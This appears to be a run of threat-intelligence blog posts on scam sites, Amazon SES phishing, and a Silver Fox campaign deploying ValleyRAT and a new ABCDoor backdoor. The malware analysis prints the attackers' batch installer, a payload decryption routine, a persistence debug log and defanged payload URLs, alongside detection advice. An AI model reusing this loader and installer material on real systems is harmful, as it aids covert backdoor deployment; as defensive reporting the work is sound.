Distribution of the TOP 10 suspicious websites in Russia, January 2026 (download)
The Russian TOP 10 includes three unique domains not found in the rankings of other regions. The first, *n*m*.top (7.84%), is an imitator of a well-known binary options broker. This suspicious site was recently registered and has a tellingly low rating on domain verification services. The second, *t*e*.ru (3.25%), claims to be an educational platform and has a dubious subscription system with a high probability of fraud involving difficulties in canceling subscriptions. The third site, *e*e*.org (3.14%), positions itself as a tool for a popular media platform, but it’s actually a scam that fails to provide its stated services.
Overall, the Russian landscape is characterized by fake binary options brokers and sketchy sites with fraudulent subscriptions posing as e-learning platforms. There are also frequent instances of sites spoofing well-known legitimate services. The primary risks in Russia are scams related to the knowledge business sector, as well as the theft of money and personal data.
Europe
Distribution of the TOP 10 suspicious websites in Europe, January 2026 (download)
In the European region, we’ve found two unique domains. The first of these, *c*r*.org, has been identified as part of a chain for massive phishing and spam attacks. It accounts for a 16.08% share of the TOP 10. The second site, *o*n*.de, is an unofficial reseller with a poor reputation and a high likelihood of fraud. This domain ranks second to last in our statistics with a 5.95% share.
Among the sites not previously covered, the European TOP 10 includes one site that also appears in the Oceania TOP 10: *o*i*.com (6.61%). This is a classic cryptocurrency scam promising passive income.
A significant portion of suspicious sites in Europe consists of intermediary sites for phishing and spam, fake security extensions, and crypto scams. Unofficial sales services and paid trading tools are also on the list. The primary threats in the European region include session hijacking, data theft, spam, and investment fraud.
Canada
Distribution of the TOP 10 suspicious websites in Canada, January 2026 (download)
Canada has been designated as a separate region to illustrate prevailing trends within North America. The first four positions in the Canadian TOP 10 are held by multiregional domains discussed previously. In fifth place is *t*c*.com (10.88%), which also appears in the TOP 10 rankings for Oceania and South Asia. This is yet another browser extension masquerading as a security solution. Occupying the final spot is the domain *e*w*.com (0.17%), which is unique to the Canadian market. This site operates a dropshipping scam, offering products at prices significantly below market value. Customers typically either never receive their orders or get low-quality counterfeits.
The landscape of dubious websites in Canada is largely defined by fraudulent extensions capable of hijacking browser data, tracking user activity, spoofing search queries, harvesting cookies, and injecting ads. This is further compounded by dropshipping schemes involving counterfeit goods. The primary risks for users in Canada include data theft and financial loss from purchasing substandard products.
Oceania
Distribution of the TOP 10 suspicious websites in Oceania, January 2026 (download)
The final region under consideration is Oceania. Notably, we didn’t identify a single domain unique to this region. Every site appearing in the TOP 10 represents a global threat that’s already been detailed in previous sections. To summarize the findings for this region: the primary threats consist of fake security extensions and privacy products designed for browser hijacking, tracking user activity, displaying advertisements, and stealing data. There’s a minimal presence of crypto Ponzi schemes in this area. The main risk for users in Oceania is the loss of privacy and confidentiality through unwanted apps.
Conclusion
Suspicious websites are particularly dangerous because they often masquerade as legitimate sites with high levels of persuasiveness. They mimic online stores, subscription-based streaming platforms, repair firms, and various other services. Unlike standard phishing sites, they employ more sophisticated manipulations to deceive users, tricking them into voluntarily handing over their personal data and transferring funds.
By examining the TOP 10 suspicious sites across the world’s major regions, we can draw several conclusions. On average, the most prevalent threats globally are fraudulent extensions masquerading as security solutions and privacy services. Their true purpose is to hijack browser data, track user activity, and display ads. We also frequently encounter phishing platforms for image processing and financial scams involving trading, cryptocurrency, betting, and microloans. Our statistics demonstrate that these sites not only employ classic fraudulent schemes centered on easy money but also adapt to contemporary trends targeting younger audiences and specific regional characteristics. The primary risks for users interacting with these sites are a combination of privacy threats and financial loss.
To help protect users from these shady sites, we’ve introduced the category of “websites with an undefined trust level” as part of the web filtering features in our solutions. However, it’s important to note that user awareness and individual responsibility play a significant role in ensuring safe web browsing. It’s essential for users to be able to recognize suspicious sites and remain vigilant toward any that appear untrustworthy.
The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.
The dangers of Amazon SES abuse
Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.
At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.
Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.
How compromise happens
In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.
Examples of phishing with Amazon SES
In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.
Phishing email imitating a Docusign notification
The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.
Phishing email headers
In these emails, the victim is typically asked to click a link to review and sign a specific document.
Phishing email with a “document”
Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.
Phishing sign-in form
The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.
Amazon SES and BEC
However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.
BEC email featuring a fake conversation between an employee and a vendor
The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.
Forged financial documents
Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.
Takeaways
Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.
Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:
Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
Enable multi-factor authentication, an ever-relevant step.
Configure IP-based access restrictions.
Set up automated key rotation and run regular security audits.
Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.
We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.
In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.
Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.
During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.
Email campaign
In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.
Phishing email sent to victims in Russia
The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.
Contents of the PDF file from the January phishing wave
Contents of the фнс.zip archive
In the December campaign, the malicious code was embedded directly within the files attached to the email.
Phishing email sent to victims in India
The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).
Contents of ITD.-.rar
Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).
PDF file from the phishing email
Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.
RustSL loader
The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:
Screenshot of the description from the RustSL loader GitHub project
The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:
Eight payload encryption methods
Thirteen memory allocation methods
Twelve sandbox and virtual machine detection techniques
Thirteen payload execution methods
Five payload encoding methods
Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.
The Silver Fox APT group first began using a modified version of RustSL in late December 2025.
Silver Fox RustSL
This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.
The steganography.rs module
The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.
The usage of the new module within the Silver Fox RustSL code
The threat actors also modified the RustSL builder to support the new format and payload packing.
The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.
Encrypted malicious payload format
The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:
<RSL_START>rsl_encrypted_payload<RSL_END>
If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.
The rsl_encrypted_payload followed this specific format:
Below is a description of the data blocks contained within it:
sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
enc_payload_len: the size of the encrypted payload
sgn_iterations and sgn_key: parameters used for decryption
sgn_decoder_size and decoder: unused fields
enc_payload: the primary payload
Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.
To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:
def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
buf = bytearray(data)
xor_key = sgn_key & 0xFF
for _ in range(sgn_iterations):
k = xor_key
for i in range(len(buf)):
dec = buf[i] ^ k
if k & 1:
k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
else:
k = (dec ^ (k >> 1)) & 0xFF
buf[i] = dec
return bytes(buf)
The unpacking process consists of the following stages:
Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
Original file containing the encrypted malicious payload
XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
Encrypted malicious payload prior to the final decryption stage
Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).
The guard.rs module
Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.
In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.
The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.
To determine the host country, Silver Fox RustSL sends requests to five public services:
ip-api.com (the GitHub version relies solely on this service)
ipwho.is
ipinfo.io
ipapi.co
www.geoplugin.net
Phantom Persistence
We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:
[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp] Phantom Persistence Module (Hijack Mode)
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.
Attack chain and payloads
During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:
As an email attachment
Via a link to an external attacker-controlled website contained within a PDF attachment
We also observed three different ways the payload was positioned relative to the loader:
Embedded within the loader body
Hosted on an external website as a PNG image
Placed within the same archive as the loader
The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.
Attack chain of the campaign utilizing the RustSL loader
The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.
Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module
The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.
The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:
End of the decrypted payload: ValleyRAT (Winos 4.0) configuration
The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:
The key configuration parameters in this string are:
p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
bz: the creation date of the configuration
The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).
Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.
ValleyRAT utilizes the registry to store its configurations and modules:
Registry key
Description
HKCU:\Console\0
For x86-based modules
HKCU:\Console\1
For x64-based modules
HKCU:\Console\IpDate
Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info
Final configuration
The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.
Custom ValleyRAT modules
The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.
HKCU:\Console\0 registry key value
Module name
Library MD5 hash
Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0
保86.dll
4a5195a38a458cdd2c1b5ab13af3b393
2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0
保86.dll
e66bae6e8621db2a835fa6721c3e5bbe
2025-12-04 04:39:32
2375193669e243e830ef5794226352e7
保86.dll_bin
e66bae6e8621db2a835fa6721c3e5bbe
2025-12-04 04:39:32
Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.
Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:
Countries where the 保86.dll module functions
If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.
Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.
The module implements the following download methods:
Using the InternetReadFile function with the User-Agent PythonDownloader
The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.
Contents of the 111.zip archive
The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.
Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:
The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.
@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale
rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b
:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b
Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.
Code for main.py: the module entry point
The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:
We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.
The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.
Upon execution, the backdoor establishes persistence in the following locations:
Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
The command creates a task named “AppClient” that runs every minute.
The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:
MainManager: handles C2 connection and authorization (sending system metadata)
MessageManager: registers and executes message handlers
AutoStartManager: manages backdoor persistence
ClientManager: handles backdoor updates and removal
SystemInfoManager: collects data from the victim’s system, including screenshots
RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
FileManager: performs file system operations
KeyboardManager: emulates keyboard input
ProcessManager: manages system processes
ClipboardManager: exfiltrates clipboard contents to the C2
CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.
The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:
Emulating a double click while broadcasting the victim’s screen
A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension
For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.
Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:
Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance
Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:
The existing ABCDoor process is then forcibly terminated.
ABCDoor versions
Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:
Version
Compiled date (UTC)
Key updates
ABCDoor .pyd MD5 hash
121
2024.12.19 18:27:11
– Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
– No OOP used
– Registry persistence
– DPAPI encryption functions
– Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154
2025.05.09 13:36:24
– Implementation of installation channels
– Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156
2025.08.11 13:36:10
– Retrieval and logging of initial installation time to the registry
a543b96b0938de798dd4f683dd92a94a
157
2025.08.28 14:23:57
– Use of DDA source in ffmpeg for monitor screen broadcasting
fa08b243f12e31940b8b4b82d3498804
157
2025.09.23 11:38:17
– Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)
13669b8f2bd0af53a3fe9ac0490499e5
Evolution of ABCDoor distribution methods
Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:
C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:
The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:
Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:
November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)
The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.
Icons of the SFX archives
When executed, the SFX archive ran the following script:
SFX archive script
This script launched run_direct.ps1, a PowerShell script contained within the archive.
The run_direct.ps1 script
The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:
Decrypted configuration for the JS loader
The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.
Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:
Log fragments gathered from throughout the JS code
Victims
As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.
Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)
The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.
Conclusion
In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.
During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.
The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.
Detection by Kaspersky solutions
Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.
The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.
Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.
After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.
Windows Interprocess Communication (IPC) is one of the most complex technologies within the Windows operating system. At the core of this ecosystem is the Remote Procedure Call (RPC) mechanism, which can function as a standalone communication channel or as the underlying transport layer for more advanced interprocess communication technologies. Because of its complexity and widespread use, RPC has historically been a rich source of security issues. Over the years, researchers have identified numerous vulnerabilities in services that rely on RPC, ranging from local privilege escalation to full remote code execution.
